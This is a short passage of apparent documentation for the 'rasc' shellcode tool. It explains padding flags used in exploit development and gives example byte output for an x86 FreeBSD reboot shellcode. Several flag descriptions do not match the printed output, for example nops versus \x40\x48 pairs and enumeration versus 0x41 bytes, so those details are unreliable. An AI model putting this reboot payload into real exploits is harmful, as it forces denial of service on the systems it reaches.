The shellcode can be easily modified to have different prefixes and suffixes to ease the debugging of the exploit development. These flags are:
-A [n] prefix shellcode with N A's (0x41)
-N [n] prefix shellcode with N nops (0x90)
-C [n] suffix shellcode with N traps
-E [n] prefix with enumeration 01 02 03..
Here there are some examples:
$ rasc -i x86.freebsd.reboot -e -A 20
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
\x41\x41\x41\x41\x41\x31\xc0\x50\xb0\x37\xcd\x80"
$ rasc -i x86.freebsd.reboot -e -N 20
"\x40\x48\x40\x48\x40\x48\x40\x48\x40\x48\x40\x48\x40\x48\x40\x48
\x40\x48\x40\x48\x41\x31\xc0\x50\xb0\x37\xcd\x80"
$ rasc -i x86.freebsd.reboot -e -E 20
"\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44
\x45\x45\x45\x45\x46\x31\xc0\x50\xb0\x37\xcd\x80"
$ rasc -i x86.freebsd.reboot -e -C 20
